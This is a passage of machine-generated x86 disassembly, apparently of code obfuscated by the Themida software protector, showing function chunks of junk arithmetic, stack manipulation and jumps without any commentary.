; ---------------------------------------------------------------------------
loc_555973: ; CODE XREF: sub_559C84+298Ej
jmp loc_55351F
; ---------------------------------------------------------------------------
loc_555978: ; CODE XREF: sub_559C84-4337j
sub edx, edi
pop edi
jmp sub_557739
; ---------------------------------------------------------------------------
loc_555980: ; CODE XREF: sub_559C84+2A9Aj
pop esi
xor ebp, ecx
mov ecx, [esp-18h+arg_14]
jmp loc_55DBD6
; END OF FUNCTION CHUNK FOR sub_559C84
; =============== S U B R O U T I N E =======================================
sub_55598B proc near ; CODE XREF: sub_559C84-4ABEj
var_4 = dword ptr -4
; FUNCTION CHUNK AT 00559619 SIZE 00000007 BYTES
push ebx
mov ebx, esp
add ebx, 4
add ebx, 4
xchg ebx, [esp+4+var_4]
pop esp
push ebx
mov ebx, 32873E6Bh
push ebp
push eax
mov eax, 74AF229Eh
mov ebp, offset word_577E4A
jmp loc_559619
sub_55598B endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_5559B2: ; CODE XREF: sub_559C84-3E5Aj
add edx, 4
add edx, 4
push edx
jmp loc_559835
; ---------------------------------------------------------------------------
loc_5559C4: ; CODE XREF: sub_559C84+42D5j
add eax, 72B606F7h
jmp loc_55B305
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55702F
loc_5559CE: ; CODE XREF: sub_55702F-31C8j
add esp, 4
loc_5559D1: ; CODE XREF: sub_559C84-2E39j
push 2371h
mov [esp+0], ebx
push dword ptr [esp+0]
mov eax, [esp+4+var_4]
add esp, 4
push ebp
mov ebp, esp
push esi
mov esi, 4
jmp loc_55B604
; END OF FUNCTION CHUNK FOR sub_55702F
; =============== S U B R O U T I N E =======================================
sub_5559F0 proc near ; DATA XREF: Themida_:00553444o
var_8 = dword ptr -8
var_4 = dword ptr -4
; FUNCTION CHUNK AT 0055692A SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00557294 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00558A46 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0055E89E SIZE 00000008 BYTES
mov cx, [esp+0]
push 6661h
mov [esp+4+var_4], edi
jmp loc_55692A
sub_5559F0 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_555A01: ; CODE XREF: sub_559C84-5780j
mov edi, 3A3107E8h
not edi
xor edi, 658C028Ah
or edi, 2D130F47h
sub edi, 3062E639h
sub edx, 356554BDh
add edx, edi
add edx, 356554BDh
pop edi
add edx, 7F2F56FCh
push dword ptr [edx]
mov eax, [esp+30h+var_30]
add esp, 4
pop edx
push 1E09h
mov [esp+2Ch+var_2C], eax
mov eax, 18AF0AEBh
add eax, 0ED18F8F2h
add edx, eax
pop eax
sub edx, 1A2065DBh
add edx, eax
add edx, 1A2065DBh
sub esp, 4
mov [esp+2Ch+var_2C], esi
push eax
jmp loc_55E908
; ---------------------------------------------------------------------------
loc_555A67: ; CODE XREF: sub_559C84-625Aj
mov [esp+4Ah+var_4A], ebx
push [esp+4Ah+var_4A]
pop ebx
push ebp
mov ebp, esp
push ecx
mov ecx, 4
add ebp, ecx
pop ecx
sub ebp, 4
push ebp
push [esp+52h+var_4E]
pop ebp
pop [esp+52h+var_52]
pop esp
mov [esp+4Ah+var_4A], edx
mov edx, esp
add edx, 4
push ecx
push eax
mov eax, 685C18F9h
add eax, 97A3E70Bh
mov ecx, eax
pop eax
add edx, ecx
mov ecx, [esp+4Eh+var_4E]
add esp, 4
jmp loc_55B8FE
; ---------------------------------------------------------------------------
loc_555AB1: ; CODE XREF: sub_559C84-2561j
mov eax, 213B1A36h
add ebx, eax
pop eax
push eax
jmp loc_55B056
; ---------------------------------------------------------------------------
loc_555ABF: ; CODE XREF: sub_559C84+32BDj
shl edx, 1
push 1F8Bh
mov [esp+4Eh+var_4E], ebx
sub esp, 4
mov [esp+52h+var_52], eax
mov eax, 2EC315Bh
jmp loc_5577F6
; ---------------------------------------------------------------------------
loc_555AD9: ; CODE XREF: sub_559C84-45C0j
pop edx
pop ecx
sub edi, 8C3F60h
add edi, edx
add edi, 8C3F60h
pop edx
push edi
push [esp+4Ch+var_4A+2]
jmp loc_5567F8
; ---------------------------------------------------------------------------
loc_555AF4: ; CODE XREF: sub_559C84+1E61j
push 13F6h
mov [esp+0], eax
mov eax, 69CF26B0h
jmp loc_55B1D2
; ---------------------------------------------------------------------------
loc_555B06: ; CODE XREF: sub_559C84-2A5Dj
sub ecx, 19CC313Fh
add ecx, 41599D0Fh
mov edx, ecx
pop ecx
shr edx, 3
jmp loc_55C325
; ---------------------------------------------------------------------------
loc_555B1D: ; CODE XREF: sub_559C84+36B3j
sub ecx, edx
add ecx, 31552C01h
pop edx
sub eax, 46673F11h
sub eax, ecx
add eax, 46673F11h
mov ecx, [esp+4Ch+var_4E+2]
push ecx
push esp
pop ecx
add ecx, 4
jmp loc_5554AD
; ---------------------------------------------------------------------------
loc_555B43: ; CODE XREF: sub_559C84+4974j
pop ebp
mov ecx, [esp+4Ch+var_4E+2]
add esp, 4
push esi
mov esi, 59665858h
jmp loc_556631
; ---------------------------------------------------------------------------
loc_555B58: ; CODE XREF: sub_559C84+3E1Cj
xchg esi, [esp+4Ch+var_4E+2]
pop esp
loc_555B5C: ; CODE XREF: sub_559C84-5136j
push 991h
mov [esp+4Ch+var_4E+2], ecx
push 3F9h
mov [esp+50h+var_52+2], ebx
jmp loc_5550A0
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
loc_555B71: ; CODE XREF: Themida_:00554785j
mov ebp, esp
push edx
jmp loc_5541A5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_555B79: ; CODE XREF: sub_559C84-1CDAj
push eax
mov eax, esp
add eax, 4
add eax, 4
push eax
push dword ptr [esp+4]
pop eax
pop [esp+58h+var_58]
pop esp
mov edi, [esp+50h+var_52+2]
jmp loc_55BCE9
; ---------------------------------------------------------------------------
loc_555B98: ; CODE XREF: sub_559C84-50EAj
xor [esp+48h+var_4A+2], ecx
xor ecx, [esp+48h+var_4A+2]
mov esp, [esp+48h+var_4A+2]
mov [esp+48h+var_4A+2], ebx
mov eax, [esp+48h+var_4A+2]
add esp, 4
push 4308h
mov [esp+48h+var_4A+2], edx
sub esp, 4
jmp loc_557043
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
loc_555BBA: ; CODE XREF: Themida_:00559580j
sub dword ptr [esp+4], 19DF7D97h
pop ebx
pop ebx
add ebx, 4
jmp loc_555963
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_555BCF: ; CODE XREF: sub_559C84+2C72j
push eax
mov eax, 29725031h
xor esi, eax
pop eax
xor ecx, esi
pop esi
xor esi, ecx
pop ecx
jmp loc_55B39D
; END OF FUNCTION CHUNK FOR sub_559C84
; =============== S U B R O U T I N E =======================================
sub_555BE3 proc near ; CODE XREF: sub_559C84+2DF6j
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = word ptr 8
; FUNCTION CHUNK AT 0055493F SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0055634B SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0055752D SIZE 00000039 BYTES
; FUNCTION CHUNK AT 00557782 SIZE 00000052 BYTES
; FUNCTION CHUNK AT 00558253 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0055914E SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0055DD59 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0055ECCC SIZE 0000001D BYTES
sub esp, 4
mov [esp+4+var_4], edi
push 73C0h
jmp loc_55914E
sub_555BE3 endp
; ---------------------------------------------------------------------------
lodsb
sub esp, 4
jmp loc_55A527
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_555BFC: ; CODE XREF: sub_559C84+102Fj
push edi
push edx
mov edx, 3F325C34h
push ecx
mov ecx, 7C8C72F2h
inc ecx
add ecx, 0E6CACB15h
xor edx, ecx
pop ecx
mov edi, edx
pop edx
jmp loc_554B32
; ---------------------------------------------------------------------------
loc_555C1B: ; CODE XREF: sub_559C84-5E75j
sub edi, ecx
pop ecx
inc edi
shl edi, 2
shl edi, 6
push esi
mov esi, 0C636304h
xor edi, esi
pop esi
add eax, edi
jmp loc_55E890
; END OF FUNCTION CHUNK FOR sub_559C84
; =============== S U B R O U T I N E =======================================
sub_555C35 proc near ; CODE XREF: sub_559C84+3991j
var_4 = dword ptr -4
; FUNCTION CHUNK AT 005587AD SIZE 0000001F BYTES
push ebx
jmp loc_5587AD
sub_555C35 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_555C3B: ; CODE XREF: sub_559C84+3061j
mov edx, [esp+0]
jmp loc_55AC12
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
loc_555C43: ; CODE XREF: Themida_:00557017j
push small 2978h
mov [esp], ax
jmp loc_55351F
; =============== S U B R O U T I N E =======================================
sub_555C50 proc near ; DATA XREF: Themida_:00553430o
var_2 = word ptr -2
movzx ax, byte ptr fs:[edx]
push small 4117h
mov [esp+2+var_2], ax
jmp loc_55351F
sub_555C50 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_555C62: ; CODE XREF: sub_559C84+DB7j
mov ebp, 269B7BB4h
and edx, ebp
mov ebp, [esp+0]
jmp loc_55FBF1
; ---------------------------------------------------------------------------
loc_555C71: ; CODE XREF: sub_559C84-5758j
mov ebx, [esp+30h+var_30]
add esp, 4
sub al, dh
pop edx
add al, 66h
add al, 0D4h
inc al
sub al, 75h
mov bl, al
jmp loc_557BE3
; ---------------------------------------------------------------------------
loc_555C8C: ; CODE XREF: sub_559C84-6229j
sub edx, 795140F7h
pop ebx
xor edx, [esp+46h+var_46]
xor [esp+46h+var_46], edx
xor edx, [esp+46h+var_46]
pop esp
inc word ptr [esp+42h+var_42]
pushf
jmp loc_553700
; ---------------------------------------------------------------------------
loc_555CA7: ; CODE XREF: sub_559C84+3D1j
add esp, 4
xchg ebp, [esp+42h+var_42]
pop esp
mov [esp+3Eh+var_3E], esi
mov esi, 788A2764h
add edi, esi
pop esi
xor edi, 0A86F769Fh
xor eax, edi
push [esp+3Ah+var_3A]
jmp loc_55E480
; ---------------------------------------------------------------------------
loc_555CC9: ; CODE XREF: sub_559C84-4FA7j
sub ebx, ecx
mov ecx, [esp+56h+var_58+2]
add esp, 4
sub ebx, 360F7678h
sub ebx, eax
add ebx, 360F7678h
push eax
mov eax, 56447FA9h
jmp loc_5541C1
; ---------------------------------------------------------------------------
loc_555CED: ; CODE XREF: sub_559C84+436Dj
pop eax
mov ebx, [esp+52h+var_52]
jmp loc_55F0B5
; END OF FUNCTION CHUNK FOR sub_559C84
; =============== S U B R O U T I N E =======================================
sub_555CF6 proc near ; DATA XREF: Themida_:0055343Co
var_C = dword ptr -0Ch
var_4 = dword ptr -4
; FUNCTION CHUNK AT 0055F816 SIZE 0000001D BYTES
mov ax, [esp+0]
jmp loc_55F816
sub_555CF6 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_555CFF: ; CODE XREF: sub_559C84+25EBj
mov [esp+52h+var_52], eax
jmp loc_55351F
; END OF FUNCTION CHUNK FOR sub_559C84
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_555D07 proc near ; DATA XREF: Themida_:00553468o
var_8 = dword ptr -8
var_4 = dword ptr -4
; FUNCTION CHUNK AT 005586E7 SIZE 00000023 BYTES
; FUNCTION CHUNK AT 0055DC42 SIZE 0000001C BYTES
mov cx, [esp+0]
push ebp
mov ebp, esp
sub esp, 4
jmp loc_55DC42
sub_555D07 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_555D19: ; CODE XREF: sub_559C84-11E2j
pop edx
jmp loc_555E4D
; ---------------------------------------------------------------------------
loc_555D1F: ; CODE XREF: sub_559C84-D29j
shl ebx, 8
push ecx
mov ecx, 5D16BB04h
jmp loc_55D185
; ---------------------------------------------------------------------------
loc_555D2D: ; CODE XREF: sub_559C84-2036j
mov dl, 0DFh
sub cl, dl
jmp loc_55352D
; ---------------------------------------------------------------------------
loc_555D36: ; CODE XREF: sub_559C84+764j
mov ecx, [esp+52h+var_52]
jmp loc_554102
; ---------------------------------------------------------------------------
loc_555D3E: ; CODE XREF: sub_559C84-633j
mov dx, word ptr [esp+52h+var_52]
sub esp, 4
mov [esp+56h+var_58+2], esi
mov esi, esp
sub esp, 4
jmp loc_55B5E9
; ---------------------------------------------------------------------------
loc_555D55: ; CODE XREF: sub_559C84-3798j
mov [esp+5Ah+var_5C+2], edx
not [esp+5Ah+var_5C+2]
pop edx
xchg edx, [esp+56h+var_58+2]
mov eax, [esp+56h+var_58+2]
add esp, 4
push 3B7Ah
mov [esp+56h+var_58+2], ebp
push 56ACh
mov [esp+5Ah+var_5C+2], edx
push 7EE7h
mov [esp+5Eh+var_60+2], ecx
push 625604DFh
pop ecx
jmp loc_55721C
; ---------------------------------------------------------------------------
loc_555D8B: ; CODE XREF: sub_559C84+346Ej
pop esp
and ecx, ebp
pop ebp
shr ecx, 7
push dword ptr [edi+1Ch]
sub esp, 4
mov [esp+5Eh+var_60+2], edi
jmp loc_55AD4E
; ---------------------------------------------------------------------------
loc_555DA3: ; CODE XREF: sub_559C84+2B19j
sub edx, 2651AAFh
add edx, edi
push esi
mov esi, 2651AAFh
add edx, esi
pop esi
add dword ptr [edx], 1
pop edx
loc_555DBB: ; CODE XREF: sub_559C84+53D6j
sub esp, 4
mov [esp+5Eh+var_60+2], edi
push ebx
pop edi
push edi
push [esp+62h+var_64+2]
push dword ptr [esp+0]
pop eax
jmp loc_558BE5
; ---------------------------------------------------------------------------
loc_555DD0: ; CODE XREF: sub_559C84+3Ej
xor [esp+0], ebx
xor ebx, [esp+0]
pop esp
shr eax, 0Eh
xor eax, ecx
xor eax, ebx
xor ebx, eax
xor eax, ebx
sub esp, 4
mov [esp+0], ebx
xchg ebx, [esp+0]
xchg edx, ebx
not edx
jmp loc_55DA6F
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55E26B
loc_555DF4: ; CODE XREF: sub_55E26B+17j
mov [esp+4+var_4], ebp
mov ebp, esp
jmp loc_5539AF
; END OF FUNCTION CHUNK FOR sub_55E26B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_555DFE: ; CODE XREF: sub_559C84+43CBj
shl esi, 4
add esi, 0ADCD18D5h
mov edi, esi
pop esi
add [esp+62h+var_60+2], 18AC28D7h
add [esp+62h+var_60+2], edi
push 6726h
mov [esp+0], ebx
mov ebx, 18AC28D7h
jmp loc_556672
; ---------------------------------------------------------------------------
loc_555E28: ; CODE XREF: sub_559C84-1FFEj
push esp
pop edx
jmp loc_5559B2
; ---------------------------------------------------------------------------
loc_555E2F: ; CODE XREF: sub_559C84+FC6j
push 947h
mov [esp+6Ah+var_6A], eax
mov eax, 1626E4CEh
sub ebx, eax
pop eax
add eax, ebx
pop ebx
sub esp, 4
jmp loc_55F0AC
; ---------------------------------------------------------------------------
loc_555E4D: ; CODE XREF: sub_559C84-3F6Aj
xor ebx, esi
pop esi
add eax, 758C14E1h
sub eax, ebx
sub eax, 758C14E1h
push [esp+4Ah+var_4A]
pop ebx
push ebx
mov ebx, esp
jmp loc_557433
; ---------------------------------------------------------------------------
loc_555E68: ; CODE XREF: sub_559C84+375Aj
add ebp, eax
jmp loc_55BDC6
; ---------------------------------------------------------------------------
loc_555E6F: ; CODE XREF: sub_559C84+4196j
mov edx, 3BE3639Eh
add [esp+4Eh+var_46], edx
jmp loc_55A33C
; ---------------------------------------------------------------------------
loc_555E7D: ; CODE XREF: sub_559C84+4777j
pop edx
pop ebx
loc_555E7F: ; CODE XREF: sub_559C84-64ADj
; sub_559C84+5D13j
push edi
push 15E3h
jmp loc_553AF4
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
loc_555E8A: ; CODE XREF: Themida_:00553945j
add ebp, 3D231DAEh
sub ebp, edi
sub ebp, 3D231DAEh
pop edi
xchg ebp, [esp]
pop esp
push esp
pop dword ptr [esp]
add dword ptr [esp], 4
pop dword ptr [esp]
push eax
push edx
mov edx, 4
jmp loc_55486C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_555EB4: ; CODE XREF: sub_559C84-F61j
sub esi, ebx
mov ebx, esi
pop esi
shl ebx, 6
jmp loc_55C9AF
; ---------------------------------------------------------------------------
loc_555EC1: ; CODE XREF: sub_559C84+23DAj
add eax, 46FB2370h
push ecx
mov ecx, 0D8F6B94h
add eax, ecx
mov ecx, [esp+4Eh+var_4E]
add esp, 4
add edi, 7462911h
add edi, eax
jmp loc_55B3FD
; ---------------------------------------------------------------------------
loc_555EE4: ; CODE XREF: sub_559C84+CD5j
push esi
push edi
jmp loc_55D683
; ---------------------------------------------------------------------------
loc_555EEB: ; CODE XREF: sub_559C84-980j
push ecx
mov ecx, esp
jmp loc_559024
; ---------------------------------------------------------------------------
loc_555EF3: ; CODE XREF: sub_559C84+5EAFj
push esi
push [esp+5Ah+var_58+2]
pop esi
pop [esp+5Ah+var_5C+2]
pop esp
imul cl
movzx cx, ah
jmp sub_55F275
; ---------------------------------------------------------------------------
loc_555F08: ; CODE XREF: sub_559C84+449j
sub eax, 4
xchg eax, [esp+52h+var_52]
pop esp
mov [esp+4Eh+var_4E], esi
push esp
mov esi, [esp+52h+var_52]
add esp, 4
add esi, 4
push ecx
mov ecx, 4
add esi, 7E141F85h
sub esi, ecx
sub esi, 7E141F85h
pop ecx
jmp loc_558741
; ---------------------------------------------------------------------------
loc_555F3B: ; CODE XREF: sub_559C84+5866j
and cl, bh
jmp loc_554C4B
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
loc_555F42: ; CODE XREF: Themida_:00556A65j
pop eax
push small 1F1Dh
mov [esp], ax
mov al, 57h
add dl, al
pop ax
add al, 49h
add al, 0F3h
add al, dl
sub al, 0F3h
sub al, 49h
push dword ptr [esp]
pop edx
add esp, 4
push small 4536h
mov [esp], cx
sub esp, 4
mov [esp], edx
mov dh, 71h
and dh, 58h
jmp loc_55F982
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_555F7D: ; CODE XREF: sub_559C84-790j
mov ah, bh
jmp loc_557F92
; ---------------------------------------------------------------------------
loc_555F84: ; CODE XREF: sub_559C84+3929j
pop eax
xchg edx, [esp+4Ah+var_4A]
pop esp
mov [esp+46h+var_46], edx
push eax
pushf
jmp loc_55351F
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
loc_555F93: ; CODE XREF: Themida_:00556787j
sub edi, ecx
pop ecx
pop eax
sub ebp, edi
push dword ptr [esp]
pop edi
add esp, 4
xchg ebp, [esp]
mov esp, [esp]
mov [esp], ecx
jmp loc_55351F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_555FB1: ; CODE XREF: sub_559C84+1C8Fj
mov edx, 4A742D30h
jmp loc_55B199
; ---------------------------------------------------------------------------
loc_555FBB: ; CODE XREF: sub_559C84+CDBj
add bx, 64E5h
jmp loc_557327
; ---------------------------------------------------------------------------
loc_555FC5: ; CODE XREF: sub_559C84-5EDFj
add eax, 0CF61B551h
add eax, 170E01C6h
add eax, 45C56F68h
add eax, ebx
jmp loc_558213
; ---------------------------------------------------------------------------
loc_555FDB: ; CODE XREF: sub_559C84-2F50j
pop esp
mul cx
push small 6C45h
mov word ptr [esp+12h+var_14+2], dx
jmp loc_55971C
; ---------------------------------------------------------------------------
loc_555FEC: ; CODE XREF: sub_559C84-4FDEj
push cx
pushf
jmp loc_55351F
; ---------------------------------------------------------------------------
loc_555FF4: ; CODE XREF: sub_559C84+542j
xchg ebp, [esp+5Ch+var_5C]
pop esp
jmp loc_55B047
; ---------------------------------------------------------------------------
loc_555FFD: ; CODE XREF: sub_559C84-4C5Dj
xor ebx, edi
pop edi
add ecx, ebx
jmp loc_55930F
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
loc_556007: ; DATA XREF: Themida_:00553450o
push dword ptr [esp]
push dword ptr [esp]
jmp loc_55A9F8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_556012: ; CODE XREF: sub_559C84+5F4Bj
pop eax
add dword ptr [ebx], 1
jmp loc_55D1A7
; ---------------------------------------------------------------------------
loc_55601E: ; CODE XREF: sub_559C84+1649j
xor eax, [esp+46h+var_46]
pop esp
jmp loc_5580BD
; ---------------------------------------------------------------------------
loc_556027: ; CODE XREF: sub_559C84+5FB7j
pop esp
mov [esp+3Eh+var_3E], edx
mov edx, 0
jmp loc_555283
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
loc_556035: ; CODE XREF: Themida_:00554A3Cj
sub dl, 15h
mov ch, dl
jmp loc_558ED4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_55603F: ; CODE XREF: sub_559C84-5A3j
or esi, 22976951h
shl esi, 1
sub esi, 16829109h
add esi, 39495D52h
sub esi, ebp
sub esi, 39495D52h
pop ebp
and eax, esi
mov esi, [esp+3Ah+var_3A]
add esp, 4
or edx, eax
jmp loc_55C6DE
; ---------------------------------------------------------------------------
loc_55606B: ; CODE XREF: sub_559C84+1CAAj
pop edx
add edi, ebp
mov ebp, [esp+32h+var_34+2]
add esp, 4
push 6F16h
mov [esp+32h+var_34+2], edx
mov edx, 2
add edi, edx
pop edx
xor edi, [esp+2Eh+var_30+2]
xor [esp+2Eh+var_30+2], edi
xor edi, [esp+2Eh+var_30+2]
mov esp, [esp+2Eh+var_30+2]
xor word ptr [esp+2Eh+var_30+2], ax
pushf
jmp loc_55351F
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
lodsd
xor eax, ebx
jmp loc_554E82
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_5560A5: ; CODE XREF: sub_559C84-5E7Dj
sub ebx, 6187065Ah
jmp loc_559A69
; ---------------------------------------------------------------------------
loc_5560B0: ; CODE XREF: sub_559C84+1C7Ej
jmp loc_55351F
; ---------------------------------------------------------------------------
loc_5560B5: ; CODE XREF: sub_559C84-4657j
mov [esp+48h+var_4A+2], eax
mov al, 0D2h
shr al, 7
sub al, 63h
push cx
mov ch, 73h
add al, 57h
add al, ch
sub al, 57h
pop cx
sub bl, al
pop eax
sub bl, 0EDh
sub bl, al
add bl, 0EDh
jmp loc_557566
; ---------------------------------------------------------------------------
loc_5560DB: ; CODE XREF: sub_559C84+4988j
add [esp+44h+var_46+2], 1E9172D0h
jmp loc_553AEE
; ---------------------------------------------------------------------------
loc_5560E7: ; CODE XREF: sub_559C84-DB5j
pop esi
xchg eax, [esp+40h+var_42+2]
pop esp
mov [esp+3Ch+var_3E+2], eax
mov eax, esp
add eax, 4
add eax, 2
push eax
jmp loc_55F1F0
; ---------------------------------------------------------------------------
loc_556101: ; CODE XREF: sub_559C84+412Dj
pop eax
add esp, 4
loc_556108: ; CODE XREF: sub_559C84+31BDj
; sub_559C84+5D50j
push dword ptr [edi+24h]
push [esp+3Ch+var_3E+2]
pop ecx
push 42Eh
jmp loc_55C70A
; ---------------------------------------------------------------------------
loc_556119: ; CODE XREF: sub_559C84+1CBFj
mov esi, esp
jmp loc_55A4B9
; ---------------------------------------------------------------------------
loc_556120: ; CODE XREF: sub_559C84+E1Ej
add ebp, edi
jmp loc_5562B1
; ---------------------------------------------------------------------------
loc_556127: ; CODE XREF: sub_559C84+40BBj
mov esi, [esp+40h+var_42+2]
jmp loc_557A06
; ---------------------------------------------------------------------------
loc_55612F: ; CODE XREF: sub_559C84-3392j
mov bl, 33h
or bl, 0C4h
not bl
add bl, 0B7h
jmp loc_55FA6A
; ---------------------------------------------------------------------------
loc_55613E: ; CODE XREF: sub_559C84+465Fj
mov ebx, 1C8D5862h
xor ebx, 1C8DD862h
and eax, ebx
jmp loc_553B24
; ---------------------------------------------------------------------------
loc_556150: ; CODE XREF: sub_559C84+1468j
add esp, 4
push ebp
mov ebp, 2
jmp loc_5587E1
; ---------------------------------------------------------------------------
loc_556161: ; CODE XREF: sub_559C84+4623j
xor ebx, 0F4BAAD76h
add esi, ebx
jmp loc_554616
; ---------------------------------------------------------------------------
loc_55616E: ; CODE XREF: sub_559C84-1B78j
sub al, 4Ch
mov ecx, [esp+40h+var_42+2]
push eax
mov eax, esp
add eax, 4
add eax, 4
xchg eax, [esp+44h+var_46+2]
jmp loc_55A8F1
; ---------------------------------------------------------------------------
loc_556188: ; CODE XREF: sub_559C84-3111j
add ecx, edi
jmp loc_55ACC9
; ---------------------------------------------------------------------------
loc_55618F: ; CODE XREF: sub_559C84+85Fj
add esp, 4
add ebx, 4
push esi
mov esi, esp
jmp loc_55E8A6
; ---------------------------------------------------------------------------
loc_5561A0: ; CODE XREF: sub_559C84+13EDj
mov ecx, ebx
jmp loc_556A31
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55F9FD
loc_5561A7: ; CODE XREF: sub_55F9FD+1Bj
pop eax
add esp, 4
add bl, dh
mov dx, word ptr [esp-8+arg_4]
jmp loc_55782D
; END OF FUNCTION CHUNK FOR sub_55F9FD
; =============== S U B R O U T I N E =======================================
sub_5561B6 proc near ; DATA XREF: Themida_:00553494o
var_8 = dword ptr -8
var_4 = dword ptr -4
; FUNCTION CHUNK AT 005568A6 SIZE 00000023 BYTES
; FUNCTION CHUNK AT 00556CBD SIZE 00000046 BYTES
; FUNCTION CHUNK AT 005587A0 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0055E7A9 SIZE 0000000F BYTES
mov eax, [esp+0]
push ebp
push esp
mov ebp, [esp+8+var_8]
add esp, 4
add ebp, 4
push edi
jmp loc_556CBD
sub_5561B6 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_5561CD: ; CODE XREF: sub_559C84-1976j
mov esi, 4
add ecx, 3AC4784Eh
add ecx, esi
sub ecx, 3AC4784Eh
pop esi
add ecx, 4
jmp loc_55A0E2
; ---------------------------------------------------------------------------
loc_5561EC: ; CODE XREF: sub_559C84-59ECj
add ecx, ebp
pop ebp
add ecx, 2
xchg ecx, [esp-18h+arg_14]
pop esp
mov ax, word ptr [esp-1Ch+arg_18]
push ebx
push 11CDh
jmp loc_55BD13
; ---------------------------------------------------------------------------
loc_556208: ; CODE XREF: sub_559C84+443j
push [esp-14h+arg_14]
mov ebx, [esp-10h+arg_C]
jmp loc_55D204
; ---------------------------------------------------------------------------
loc_556214: ; CODE XREF: sub_559C84-610Ej
add al, 2Eh
mov ebx, [esp+32h+var_34+2]
add esp, 4
push ebp
mov ebp, esp
jmp loc_55EB50
; ---------------------------------------------------------------------------
loc_556224: ; CODE XREF: sub_559C84+3193j
push edi
mov edi, 1
mov eax, edi
pop edi
push 1E3Dh
jmp loc_55436A
; ---------------------------------------------------------------------------
loc_556237: ; CODE XREF: sub_559C84-18B5j
add esp, 4
jmp loc_55F336
; ---------------------------------------------------------------------------
loc_556242: ; CODE XREF: sub_559C84-4316j
add bl, dl
pop edx
jmp loc_5562A6
; ---------------------------------------------------------------------------
loc_55624A: ; CODE XREF: sub_559C84+361Ej
xor ebp, ecx
mov ecx, [esp+30h+var_30]
jmp loc_55D693
; ---------------------------------------------------------------------------
loc_556254: ; CODE XREF: sub_559C84-2E43j
sub ebp, 4
xchg ebp, [esp+30h+var_30]
pop esp
mov [esp+2Ch+var_2C], ecx
mov cl, 24h
sub cl, 84h
add dl, 68h
sub dl, cl
push ecx
mov cl, 0C9h
or cl, 0F3h
dec cl
inc cl
jmp loc_55AA7A
; ---------------------------------------------------------------------------
loc_556277: ; CODE XREF: sub_559C84+1C65j
not ecx
jmp loc_559BC2
; ---------------------------------------------------------------------------
loc_55627E: ; CODE XREF: sub_559C84+18Aj
mov ecx, [esp+30h+var_30]
push edi
mov edi, esp
add edi, 4
add edi, 4
xchg edi, [esp+34h+var_34]
pop esp
push edx
push [esp+34h+var_30]
pop edx
pop [esp+34h+var_34]
mov esp, [esp+30h+var_30]
mov word ptr [esp+30h+var_30], cx
jmp loc_55351F
; ---------------------------------------------------------------------------
loc_5562A6: ; CODE XREF: sub_559C84-3A3Fj
sub bl, dl
sub bl, 59h
push eax
jmp loc_55664B
; ---------------------------------------------------------------------------
loc_5562B1: ; CODE XREF: sub_559C84-3B62j
pop edi
xor ebp, [esp+3Ch+var_3E+2]
xor [esp+3Ch+var_3E+2], ebp
xor ebp, [esp+3Ch+var_3E+2]
jmp loc_558F27
; ---------------------------------------------------------------------------
loc_5562C0: ; CODE XREF: sub_559C84+4346j
mov ebp, 76742180h
jmp loc_55803C
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_557976
loc_5562CA: ; CODE XREF: sub_557976-62Aj
mov dl, 34h
dec dl
jmp loc_55433C
; END OF FUNCTION CHUNK FOR sub_557976
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_5562D3: ; CODE XREF: sub_559C84-170Dj
add ch, 0ECh
jmp loc_553FA7
